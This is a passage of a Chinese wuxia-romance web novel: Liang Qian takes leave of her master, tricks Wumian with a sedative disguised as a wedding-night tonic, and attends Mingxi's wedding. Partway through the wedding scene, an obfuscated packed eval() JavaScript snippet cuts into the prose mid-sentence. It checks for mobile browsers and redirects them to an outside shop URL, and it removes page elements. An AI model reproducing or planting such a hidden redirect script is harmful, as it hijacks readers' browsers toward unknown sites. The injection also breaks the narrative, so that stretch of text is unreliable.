萧明渊猛得抬起头,有些怨气地看着梁浅,梁浅摸着他的头,“至少得参加了明汐的大婚才走不是?” 萧明渊这又有些失落地低下头,轻轻吻了吻梁浅,才终于放她离开。 * “头儿!您来啦!”福之财之见了梁浅满脸笑容,忙从椅子上站起来。 “你们怎么不好好歇着,前些日子的风寒可好全了?” 福之摸了摸脑袋,“好全了好全了,柳神医的药好得很,吃了就好了。” 财之看着弟弟一脸慈祥地笑容,又转过头来问梁浅,“头儿身上的伤可好了?” 梁浅笑着答道:“还有些隐隐作痛,不碍事。” “东家!”芸香正抱着账本,见到梁浅,手里的东西掉了一地。 梁浅正打算上前去帮忙,结果就被芸香一把抱住,“东家,他们说你伤得好重,那日你又迟迟不来消息。” 梁浅抱着芸香安慰着,“好了好了,我这不是没事嘛。” 芸香伸手悄悄擦着自己眼角的泪回答着,“嗯嗯,没事就好没事就好。” 梁浅帮忙将地上的东西捡了起来,才转身往里面走去。 无情一个人坐在院子里,看着手里的短剑发呆,丝毫没有察觉到梁浅走了进来。 “师父,我回来了……您要我做的事,我都做了……您答应我的事。” 梁浅朝着无情跪了下来,无情这才缓缓转头,对着梁浅笑着点了点头。 “我知道,是我难为你了。” 梁浅摇了摇头,“老友之思,心之所牵,这都是人之常情,徒儿明白的。” 无情有些失落地点了点头,“嗯,你长大了,我说过,只要我认,以后你想做什么都可以,如今,我觉得你可以了,去罢,像你曾经说的,去追随师兄师妹的脚步,江湖之大,你尽管去。” 听到无情这番话,原本梁浅心里还有些难受的感情便都变成了不舍,眼里闪着泪花。 “师父养育之恩,阿浅没齿难忘。” 说罢,梁浅便朝无情磕了三个响头,无情也脸带笑意静静地看着,等她直起身,无情便伸手将她拉了起来。 “放心,师父还能跑能跳能吵的,在这京城里经营着这铺子,和街坊领居吵吵闹闹还挺有意思的。” 无情伸手怜爱地擦着梁浅脸上的泪,将手中的短剑递过去,“这是师父的,给你,年轻的时候我也走南闯北,也算结识了许多江湖侠客,若是他们见到此剑,自然知道你是我的徒弟。” 梁浅小心地接过短剑,笑着对无情说着,“谢谢师父,那我可要好好用师父的人脉了。” 无情听得脸上还挂着泪珠的梁浅开起了玩笑,也终于是放心了下来,也跟着笑出了声。 梁浅走出来,眉眼终于舒展了许多,脸带着笑意,福之财之也连忙上前同她说话。 “头儿,这短剑真是漂亮。” “ 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“这院墙怎么比你以前那个院子还高,哎呦,我的屁股。” 柳烟晴慌忙起身来看,梁浅正坐在地上一脸痛苦地抱怨,见到柳烟晴,瞬间笑了起来。 烟晴叹了叹气,结果梁浅手里将什么东西提着在烟晴面前晃了起来。 “一只烧鸡?”烟晴看着梁浅费尽全力带来的东西哭笑不得。 “不止,还有糕点。”梁浅兴冲冲地将自己带来的东西打开铺在桌子上。 柳烟晴见状轻轻拍了拍她的头,“你伤还未好,怎么就吃这么上火的东西。” 梁浅捂着自己头,委屈巴巴地看着柳烟晴,“人家想吃嘛,反正不舒服了又吃药。” “你啊。” 两人就这样在院里吃起东西来,“你要走?” 梁浅拿着一直鸡腿啃得正香,若无其事地回答着,“对呀”。 梁浅说罢,又用另一只手掏出来好些首饰放在桌上,“我知你喜欢这些,只不过一路周折,定是也就没有将这些带着了,这是我精挑细选的。” “好,多谢浅娘子。”柳烟晴看着点了点头,然后随意拿起一只钗来看了看,“那你家萧大人怎么办?” “若是现在我想着他怎么办,那以后等我真的接受了萧夫人的身份,那就得想我怎么办了,与其等到那样的结局,不如去看看这世间的大好河山!如今也没有复仇什么的事让我天天犯愁,也算是有钱有闲了罢。” 梁浅边说着边用鸡腿当做剑一样比划着,柳烟晴则是用筷子撕开慢慢放心嘴里。 “你这是逃避。” “就算我逃避罢,我只是想在最喜欢彼此的时候离开,这样,至少我们在彼此的心里的样子还算美好。” 梁浅躺在躺椅上,看着慢慢飘走的云朵,听着耳畔煮酒的声音,闭上了眼睛。 “睡着了?”“没有,嘿嘿,过几日明汐结婚,你也一起来玩哦。” * 这日梁浅逛了好久的街,福之财之跟着拿了许多物件,都送到了明汐的房间里。 “姐姐,不要再给我送了,我房间都堆不下了。” “我这当姐姐的,自然是看到什么好的都想给妹妹嘛,你最喜欢这些叮叮当当的东西,这些首饰都好看得很,还有你看这弓,性价比拉满啦。” 梁浅边说着,边拿起那张弓把玩了起来,给明汐展示着各种动作,结果一个不小心,弦在手上崩出了血。 明汐正忙着收拾明日的首饰,见状忙叫梁浅过来擦药,打开药箱,梁浅伸手给明汐擦着药,忽而余光看到药箱里面有一个药瓶十分熟悉。 “这瓶药?” 明汐看了一眼,脸带笑意,“那瓶不是疗药,而是迷药。” 梁浅看了一脸疑惑,向来迷药这种下三滥的手段,江湖上只有自己这种人菜瘾大的刺客会用,明汐向来熟读兵法,想必是不会做这些东西的。 见了梁浅的表情,明汐耐心解释道:“并非是我的,而是无面给我的,让我留着备用,说是药效好得很,他自己都调制不出来。” 梁浅又仔细地看了看药瓶上的花纹,连瓶口碎裂的地方都一样,梁浅将药瓶放了回去,然后拿起茶杯来假装淡定地喝起了茶。 忽而茶杯在梁浅的手中被捏了个粉碎,明汐见怪不怪,只得才包好了这只手,又包起了另外一只手。 “好哇,原来是你,无面。” 72. 一报还一报 “今天天气好晴朗~处处好风光~哎!好风光~” 无面此时正在陈家公子的房间里挑着衣服,而真正的陈家公子已经被无面送到江南养老去了,府里上下也换了新人。 忽而一阵风吹过,无面打了一个喷嚏,“啧,谁骂我。” “好风光~” 感觉到身后有人靠近,无面拿起桌上的花瓶就朝着身后砸去,结果花瓶被稳稳接住。 “啊,看招……哦,师父!” 无面的师父一脸无奈地接过要砸向自己的花瓶,无面则一口气抱了上来。 “徒儿啊,听说你要成亲了,我这特意来探望你,你就是这样对待师父的?” “徒儿冤枉啊,徒儿也是为了自保而已,师父既然是来庆我成婚的,可有带什么好礼给徒儿啊。” 大师看着这个已经伸手准备好接礼物的小子,想着明日要成婚,就忍住了打他的欲望,将一个精致的木盒递到了他手上。 “哇~好漂亮的玉佩,多谢师父,这玉佩我和明汐一人一个,嘿嘿。” 无面小心的将礼物收了起来,又谄媚的给自家师父倒起了茶水,可大师一口茶还没有咽下,房间的大门便被人一脚踹开。 “无面,你给我出来,是不是你换了我的药,你看我今日不打……” 梁浅拿着短剑便气势汹汹地冲了进来,结果看到端坐在房间的大师,顿时愣住了。 “阁主?”梁浅轻声问道,而无面则因为看到梁浅,害怕梁浅把自己毁容明日成不了婚,便躲到了阁主身后。 “嗯,你是无情家那个徒弟。”阁主看了看梁浅手中的剑,继续淡定地喝着茶,“嗯,和他们都是一种暴脾气。” “见过阁主。”梁浅收起剑来行礼,无面见状也跳了出来。 “师父,你就是他们阁的阁主啊,您怎么不让我入阁啊,我这些年吃了好多苦您也不管我。” 阁主将无面的脑袋推开,然后拍了拍桌子,“我还不是想着锻炼你,谁成想你天天往清闲的地方去,只知道玩玩玩!还找自家师侄的茬,看我不打你!” “师侄?”无面和梁浅异口同声地说道。 “哦,阿浅啊,忘记和你说了,我便是你无情师父的师父,你该叫我一声师爷,这嘛,是我的关门弟子,也是你的小师叔,无面,但你师父并不知道阁主是我,你可切勿声张啊。” 阁主转过头对梁浅和颜悦色地说着,梁浅也乖乖地再行礼叫了声师爷,“那师爷,这便是当年和师父一起闯荡江湖的那位小师叔?看着这年龄不像啊。” “哦,你的那位师叔啊,我派他管情报去了,这才这些年没有见面,这小子嘛,是前些年收的。” 无面和梁浅对视一眼,互相看不上对方,都立刻扭过头去。 “好啦,我还有事,礼我送到了,你们年轻人聊。”阁主看出了两人还有矛盾,便想将无面留给梁浅来打,这样自己今日就不用贴膏药了。 “恭送师爷。” “恭送师叔。” “切。” 梁浅又拔出了剑对着无面,无面立刻嬉皮笑脸地说道:“误会误会,师侄,都是误会,我能解释的。” “哦,误会,当时你视我为眼中钉肉中刺,天天找我麻烦,你现在和我说当时偷换了我的药是误会?” 无面继续解释着,“真是误会,当日我去阁里确实是想找你比试,想着给你打倒了,你就做不成事了。 碰巧还有一间屋子亮着,我便摸了进去,里面没人,桌上又有一瓶药力贼猛的迷药,我便想用我这药力极强的好药来换,后来第二日和你打的时候,那迷药半瓶都飞了。” 梁浅听着本来想继续质问他说这是巧合?但是突然计上心头。 梁浅突然收了剑,脸上还挂着笑,无面吓得忙往后退了一步。 “你这是作甚,要杀要剐给个痛快。” “嗐,我的好师叔,你这说得是哪里的话,听你这么一说,我就明白了,这可是天大的误会呀。”梁浅瞬间收起情绪就演了起来,一脸愧疚地样子让无面信以为真。 “真的啊?” “当然,师叔您坐。” 梁浅忙招呼着无面坐到自己桌子旁,然后神神秘秘掏出一瓶药,药瓶比以往两人用的都精致许多。 “来,师叔,小侄儿来得匆忙,师叔大婚,也不知道给师叔送什么礼好,特意去找大师叔求了这药,专门拿来送你。” 梁浅带有谄媚地将药递了过去,无面狐疑地看着药瓶,又十分警惕地打开闻了闻味道,确认没有毒之后才又放回了桌上。 “这是什么?还能拿来送礼。” 梁浅接过药来,神神秘秘地说道:“那自然是给师叔用的呀,明日洞房花烛夜,明将军何等英勇,你若是在她面前落了下风……” “哦~”无面顿时理解了梁浅的意思,有些羞涩地接了过来。 “那这药,包真?” “啧,我大师叔是谁,京城圣手!那日还给你看过病的,你不记得了?他在京城都是出了名的医科圣手,多少人远道而来寻医呐。” “哦哦,是是是,我像是听过大师的名头……咳咳,那就多谢贤侄。”无面喜笑颜开,朝着梁浅拱手行礼道。 “不谢,既是我师叔,都是江湖儿女,不必言谢,那既然这样,师叔您先忙,我就先走了。” 梁浅目的达到了,便打算离开,临走时还又转头叮嘱道:“师叔,这药药效来得快得很,你可要把握时机啊。” 两人一脸奸笑地对视着点了点头,梁浅这才关了门出去,一关上门,梁浅便换了表情,一脸得意地翻墙离开。 “这么喜欢迷药是吧,这回让您吃个够,嘻嘻。” * 明汐身穿着喜服朝堂上走来,虽说是女子打扮,可是当她不自觉背着手的时候还是十分英气。 萧家的长辈都到了现场,见到这番情景,几位当时梁浅才成婚时看着还算和善的婶婶也说起了小话。 “哟,我就说着萧明汐是个离经叛道的,一个女孩子家跑去军营就算了,怎么今日成婚也如此不成体统。” “是啊,活这么久我也是第一回见新郎盖盖头,新娘去娶亲的。” “说是这新郎新娘的哥哥嫂嫂也是不合,都在陛下面前说合离了。” “按我说啊,当时就该娶了明渊的表妹。” “嗐,别说了,那表妹那日在萧家顶撞了一下萧少夫人,竟然就被送到庄子去了,现在做农家妇呢。” 柳烟晴正好从这几人身后经过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14132639|147035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到几人正在议论,便悄悄准备好了银针。 “想必那也不是个贤妻良母,是个心思歹毒的,萧家受不了了,这才休……” “唉,老姐姐,你怎么晕了,快来人啊,快来人啊。” 柳烟晴见下人将人抬走后便得意地走上前来观礼,这样的婚礼自己确实也是第一回见,果然有阿浅在,这办得也很是好玩。 这边行过拜堂之礼,新郎便被送入了洞房,新娘则跟着敬起了酒,而今日萧家军的属下除了还守在驻地的,都来了个差不多。 梁浅不禁捂着嘴偷笑道,“这可真够明汐喝一壶的。” 萧明渊爽朗地笑声也从一旁飘了过来,“放心,她有法子,喝不醉她。” 萧明渊看着梁浅朝自己笑着,忽而觉得有些恍惚,她说她要走了,可是自己已经习惯了生活中有她,但是京城中的事自己还没有处理好。 “阿浅,今日陛下下了旨,彻查丞相,丞相满门都牵涉其中,念在丞相年老,留他一命,圈禁府中,此时,官兵已然围了丞相府……” 梁浅没有看萧明渊,只是点了点头,“嗯,去罢,我知道你想见他最后一面。” 萧明渊伸手将梁浅揽入怀里,梁浅也回抱了回去,拿着酒路过的几个萧家军的下属看着两人偷笑。 察觉到有人路过,梁浅害羞地将脸埋到了他的胸膛,如今天气渐渐热起来了,人渐渐也穿得更加单薄。 如今抱着他能清楚地感受到他的温度,他的心跳…… “好了,你在家里好好玩,说好明日再走,不许抵赖。” 梁浅甜甜地笑着,萧明渊忍不住摸了摸她的头,才依依不舍地转身离去。 梁浅一转头,便见到宴席上有人正看着自己,梁浅定睛一看,是周玉。 想起那日,梁浅看到他也在殿门口,心里便起了些许疑惑。 可当梁浅朝前走去,周玉只是远远行了一个礼便转身走开了,于是梁浅招了招手,财之走了过来。 “去将周玉大人请到书房一叙,就说……我想同他道个别。” 宴席上,梁浅见到明汐在给自己使眼色,就忙过去搀扶着。 “呀,明将军醉了,好了好了,敬过一圈了,得去洞房花烛了。” 宴席上的众人还在起哄,“好嫂嫂,今日大喜之日,怎不让明将军再多喝几杯。” 梁浅扶着明汐却被众人拦着,只好倒了一杯酒来敬了各位,才得了空隙带着明汐钻了出来。 “明汐明汐,不用装了,到了洞房门口了,你的新郎怕是等急了。”梁浅一下子没有扶住明汐,两人倒在了洞房门口。 “姐姐,装什么啊,我是真醉了。” 确实在厉害的酒量,这样一圈敬下来也得醉,“既然到了,就多谢姐姐了,爱你哦。” 明汐学着梁浅平日里逗她玩的样子,半躺在地上比着心,然后推开门艰难地爬了进去。 见到无面起身准备过来拉明汐起来,梁浅这才顺手关上了门,在关上门的最后一秒,梁浅还看见无面穿着婚服别扭地扶明汐起来,临了还掀开盖头朝自己这里眨眼。 梁浅连忙关上了门,背靠着门,想起认识两人的经历,嘴角流露出笑意,看着天上的星空,嘴里喃喃道:“有情人终成眷属。”